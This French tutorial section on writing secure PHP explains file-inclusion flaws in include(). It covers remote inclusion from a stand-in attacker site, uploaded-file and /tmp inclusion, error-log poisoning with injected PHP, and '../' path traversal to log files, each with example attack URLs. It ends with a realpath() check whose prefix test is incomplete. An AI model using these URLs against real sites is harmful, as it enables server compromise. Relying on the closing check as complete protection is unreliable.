9.Programmer en PHP en toute sécurité

9.2.Include

9.2.1.Ce qu'il faut faire/ne pas faire

Si vous utilisez une variable PHP pour définir le fichier à utiliser lors d'une commande include(), include_once(), require() et require_once() vous devez absolument contrôler cette variable.

9.2.2.Pourquoi?

Imaginons que vous construisiez le nom du fichier à inclure à partir d'un paramètre GET[c'est quoi?]. Vous pourriez alors avoir un code du genre
<?php
include($_GET["page"]);
?>
Dans ce cas, il est très simple pour n'importe qui d'inclure n'importe quel fichier en tapant dans le navigateur une URL du type script.php?page=pagequelconque.txt.
rem
  • Il faut garder à l'esprit que la fonction include fonctionne avec tout fichier quelque soit son extension.

9.2.2.1.Différentes failles

9.2.2.1.1.Configuration allow_url_include

Heureusement, par défaut, la configuration PHP n'autorise pas l'inclusion de fichiers désignés par une URL. Il serait alors très facile d'avoir sur le site du pirate (ex: http://sitedupirate) un simple fichier texte, disons codemalveillant.txt du genre
<?php
// Du code malveillant... ou pas
phpinfo();
?>
puis faire appel, sur le site à pirater (http://sitegentil.com) à une adresse du genre http://sitegentil.com/script.php?page=http://sitedupirate.com/codemalveillant.txt
Il est donc fortement conseillé de conserver la configuration par défaut allow_url_include à Off. Mais cela ne suffit pas nécessairement.

9.2.2.1.2.Fichier uploadé

Même dans ces conditions, un pirate peut éventuellement exécuter le code qu'il veut. Ce peut être le cas, par exemple, s'il a la possibilité de déposer un fichier sur votre serveur (ex: upload de photos, etc). Si celui-ci arrive à deviner où sont déposés les fichiers (ex: /images/moncompte/) il lui suffira par exemple de reprendre le fichier précédent codemalveillant.txt et le faire transférer éventuellement en le renommant par exemple en codemalveillant.jpg puis de faire appel à une adresse du genre http://sitegentil.com/script.php?page=images/moncompte/codemalveillant.jpg

9.2.2.1.3.Fichier partagé

Si le pirate n'a pas la possibilité d'uploader un fichier sur votre site, son site est peut-être hébergé sur la même machine que vous (hébergement mutualisé). En cas, de configuration de sécurité un peu légère, il a alors peut-être la possibilité de créer un fichier malveillant dans un espace temporaire commun aux deux serveurs (celui du pirate et du site piraté). Il pourra alors faire appel à une adresse du genre http://sitegentil.com/script.php?page=/tmp/codemalveillant.txt

9.2.2.1.4.Journaux

Enfin, et surtout, le pirate peut s'aider des fichiers créés (sans que vous y pensiez) par votre serveur web et notamment les journaux (fichiers de logs). Prenons, par exemple, le fichier d'erreur du serveur qui contient l'ensemble des URLs 'en erreur' saisies. Il suffit alors au pirate, de générer une URL contenant le minimum de code PHP nécessaire à l'intrusion (simplement en saisissant une URL bidon), comme dans cet extrait
[Sun Feb 08 16:51:07 2009] [error] [client 127.0.0.1] script '/erreur<?php phpinfo();?>' not found or unable to stat
S'il a la possibilité de deviner où se trouve ce fichier il a alors la possibilité d'appeler http://sitegentil.com/script.php?page=/var/log/apache/error.log

9.2.2.2.Chemins concaténés

Dans les exemples précédents nous sommes partis de l'hypothèse où le nom du fichier inclus est intégralement passé en paramètre mais il est possible qu'il soit en fait concaténé. Comme dans l'exemple suivant
<?php
include("espace_de_confiance/".$_GET["page"]);
?>
mais attention, ceci ne vous protège en rien. Dans ce cas, il suffit pour le pirate de remplacer http://sitegentil.com/script.php?page=/var/log/apache/error.log par quelque chose comme http://sitegentil.com/script.php?page=../../../var/log/apache/error.log et cela fonctionnera tout aussi bien.
warning Constatation importante, il ne suffit donc pas de vérifier que le chemin construit (ici "espace_de_confiance/".$_GET["page"]) commence par "espace_de_confiance/" pour que le fichier inclus appartienne nécessairement à cet espace de confiance. Il faudra faire appel à la fonction realpath() ou similaire.

9.2.2.3.Conclusion

La solution la plus simple consiste simplement à éviter autant que possible de construire dynamiquement les chemins des fichiers inclus. Mais dans le cas contraire, vous devez vous assurer que le fichier inclus appartient bien à un répertoire dont tous les fichiers peuvent être inclus sans que cela ne pose de problème de sécurité. Ex:
<?php
$espace_de_confiance="/home/moncompte/mespages";
$fichier_inclus = $_GET["page"];
// Vérifier que $fichier_inclus est bien dans l'espace de confiance
if (strpos(realpath($fichier_inclus), $espace_de_confiance) === 0) {
    include($fichier_inclus);
} // sinon... ne pas inclure !!
?>